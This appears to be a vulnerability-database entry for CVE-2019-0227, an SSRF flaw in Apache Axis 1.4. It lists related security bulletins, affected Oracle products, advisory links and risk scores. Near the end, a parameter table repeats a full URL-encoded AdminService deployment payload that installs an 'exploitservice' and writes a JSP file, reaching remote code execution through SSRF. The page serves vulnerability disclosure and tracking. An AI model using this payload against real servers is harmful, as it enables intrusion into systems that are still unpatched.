CVE-2019-0227

🗓️ 01 May 2019 20:03:49Reported by apacheType

cve🔗 web.nvd.nist.gov📰️ 3 Media mentions👁 310 Views🌐 WEB

Apache Axis 1.4 SSRF Vulnerabilit

Reporter	Title	Published	Views	Family All 70
zdt	Apache Axis 1.4 - Remote Code Execution Exploit	9 Apr 201900:00	–	zdt
IBM Security Bulletins	Security Bulletin: Multiple vulnerabilities in Apache Axis affect IBM Maximo Asset Management and the IBM Maximo Manage application in IBM Maximo Application Suite	2 Feb 202321:04	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple Vulnerabilities found in Axis.jar V1.x may affect IBM Content Collector for SAP Applications	26 Mar 202117:24	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple vulnerabilities affect the IBM App Connect Enterprise Toolkit and the IBM Integration Bus Toolkit	30 Jun 202309:23	–	ibm
IBM Security Bulletins	Security Bulletin: Netcool Operations Insights 1.6.9 addresses multiple security vulnerabilities.	18 Jul 202313:09	–	ibm
IBM Security Bulletins	Security Bulletin: IBM InfoSphere Information Server is affected by multiple vulnerabilities in Apache Axis	28 Mar 202517:52	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Security Directory Integrator is affected by multiple security vulnerabilities	22 Jun 202316:30	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Sterling Control Center is affected by vulnerabilities in Apache Axis, CKEditor4 & IBM MQ (CVE-2014-3596, CVE-2018-8032, CVE-2019-0227, CVE-2012-5784, CVE-2021-38986, CVE-2022-22321, CVE-2023-28439)	19 Mar 202515:11	–	ibm
IBM Security Bulletins	Security Bulletin: IBM System Storage Support for Microsoft Volume Shadow Copy Service and Virtual Disk Service is vulnerable to multiple vulnerabilities due to Apache Axis. CVE-2018-8032, CVE-2014-3596, CVE-2019-0227, CVE-2012-5784	13 Oct 202510:29	–	ibm
GithubExploit	Exploit for Server-Side Request Forgery in Apache Axis	16 May 202612:37	–	githubexploit

NVD

Vulners

Node

apache axisMatch1.4

Node

oracle agile_engineering_data_managementMatch6.2.1.0

oracle agile_product_lifecycle_managementMatch9.3.3

oracle application_testing_suiteMatch13.2.0.1

oracle application_testing_suiteMatch13.3.0.1

oracle big_data_discoveryMatch1.6

oracle communications_asap_cartridgesMatch7.2

oracle communications_asap_cartridgesMatch7.3

oracle communications_design_studioMatch7.3.4.3.0

oracle communications_design_studioMatch7.3.5.5.0

oracle communications_design_studioMatch7.4.0.4.0

oracle communications_design_studioMatch7.4.1.1.0

oracle communications_element_managerMatch8.0.0

oracle communications_element_managerMatch8.1.0

oracle communications_element_managerMatch8.1.1

oracle communications_element_managerMatch8.2.0

oracle communications_network_integrityMatch7.3.5

oracle communications_network_integrityMatch7.3.6

oracle communications_order_and_service_managementMatch7.3.0.0.0

oracle communications_order_and_service_managementMatch7.4

oracle communications_session_report_managerMatch8.0.0

oracle communications_session_report_managerMatch8.1.0

oracle communications_session_report_managerMatch8.1.1

oracle communications_session_report_managerMatch8.2.0

oracle communications_session_route_managerMatch8.0.0

oracle communications_session_route_managerMatch8.1.0

oracle communications_session_route_managerMatch8.1.1

oracle communications_session_route_managerMatch8.2.0

oracle endeca_information_discovery_studioMatch3.2.0

oracle enterprise_manager_base_platformMatch12.1.0.5

oracle enterprise_manager_base_platformMatch13.3.0.0

oracle enterprise_manager_for_fusion_middlewareMatch12.1.0.5

oracle financial_services_analytical_applications_infrastructureRange7.3.3–7.3.5

oracle financial_services_analytical_applications_infrastructureRange8.0.0–8.0.8

oracle financial_services_compliance_regulatory_reportingRange8.0.6–8.0.8

oracle financial_services_funds_transfer_pricingRange8.0.2–8.0.7

oracle flexcube_core_bankingMatch11.7.0

oracle flexcube_core_bankingMatch11.8.0

oracle flexcube_core_bankingMatch11.9.0

oracle flexcube_core_bankingMatch11.10.0

oracle flexcube_private_bankingMatch12.0.0

oracle flexcube_private_bankingMatch12.1.0

oracle hospitality_guest_accessMatch4.2.0

oracle hospitality_guest_accessMatch4.2.1

oracle instantis_enterprisetrackMatch17.1

oracle instantis_enterprisetrackMatch17.2

oracle instantis_enterprisetrackMatch17.3

oracle internet_directoryMatch12.2.1.3.0

oracle internet_directoryMatch12.2.1.4.0

oracle knowledgeRange8.6.0–8.6.3

oracle peoplesoft_enterprise_human_capital_management_human_resourcesMatch7.3.5

oracle peoplesoft_enterprise_human_capital_management_human_resourcesMatch7.3.6

oracle peoplesoft_enterprise_human_capital_management_human_resourcesMatch9.2

oracle peoplesoft_enterprise_peopletoolsMatch8.56

oracle peoplesoft_enterprise_peopletoolsMatch8.57

oracle peoplesoft_enterprise_peopletoolsMatch8.58

oracle policy_automation_connector_for_siebelMatch10.4.6

oracle primavera_gatewayMatch16.2.11

oracle primavera_gatewayMatch17.12.6

oracle primavera_unifierRange17.7–17.12

oracle primavera_unifierMatch16.1

oracle primavera_unifierMatch16.2

oracle primavera_unifierMatch18.8

oracle primavera_unifierMatch19.12

oracle rapid_planningMatch12.1

oracle rapid_planningMatch12.2

oracle real-time_decision_serverMatch3.2.1.0

oracle retail_order_brokerMatch15.0

oracle retail_order_brokerMatch16.0

oracle retail_order_brokerMatch18.0

oracle retail_xstore_point_of_serviceMatch7.1

oracle secure_global_desktopMatch5.4

oracle secure_global_desktopMatch5.5

oracle siebel_ui_frameworkRange≤21.0

oracle tuxedoMatch12.1.1.0.0

oracle tuxedoMatch12.1.3

oracle webcenter_portalMatch12.2.1.3.0

[
  {
    "vendor": "Apache",
    "product": "Apache Axis 1.4",
    "versions": [
      {
        "version": "Apache Axis 1.4",
        "status": "affected"
      }
    ]
  }
]

Source	Link
oracle	www.oracle.com/security-alerts/cpuapr2022.html
oracle	www.oracle.com/security-alerts/cpuApr2021.html
lists	www.lists.apache.org/thread.html/r3a5baf5d76f1f2181be7f54da3deab70d7a38b5660b387583d05a8cd%40%3Cjava-user.axis.apache.org%3E
oracle	www.oracle.com/security-alerts/cpuoct2021.html
oracle	www.oracle.com/security-alerts/cpujul2022.html
oracle	www.oracle.com/security-alerts/cpuapr2020.html
security	www.security.netapp.com/advisory/ntap-20240621-0006/
lists	www.lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c%40%3Cannounce.apache.org%3E
oracle	www.oracle.com/security-alerts/cpujul2020.html
oracle	www.oracle.com/security-alerts/cpujan2021.html

Parameter	Position	Path	Description	CWE
method	path	axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22%27jspwritepath%27%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment	Axis AdminService deployment is used to install a malicious service payload (RCE)	CWE-918
className	path	axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22%27jspwritepath%27%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment	Axis AdminService deployment is used to install a malicious service payload (RCE)	CWE-918
allowedMethods	path	axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22%27jspwritepath%27%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment	Axis AdminService deployment is used to install a malicious service payload (RCE)	CWE-918
LogHandler.fileName	path	axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22%27jspwritepath%27%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment	Axis AdminService deployment is used to install a malicious service payload (RCE)	CWE-918
LogHandler.writeToConsole	path	axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22%27jspwritepath%27%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment	Axis AdminService deployment is used to install a malicious service payload (RCE)	CWE-918
symbol	request body	axis/StockQuoteService.jws	Using StockQuoteService.jws to trigger SSRF to access remote resources	CWE-918
className	request body	axis/services/exploitservice	Exploit service deployed to load and execute JSP payload via LogHandler and deployment parameters	CWE-918
allowedMethods	request body	axis/services/exploitservice	Exploit service deployed to load and execute JSP payload via LogHandler and deployment parameters	CWE-918
LogHandler.fileName	request body	axis/services/exploitservice	Exploit service deployed to load and execute JSP payload via LogHandler and deployment parameters	CWE-918
LogHandler.writeToConsole	request body	axis/services/exploitservice	Exploit service deployed to load and execute JSP payload via LogHandler and deployment parameters	CWE-918

17 Jun 2026 02:08Current

8.3High risk

Vulners AI Score8.3

CVSS 25.4

CVSS 3.17.5

EPSS0.9194

CWE-918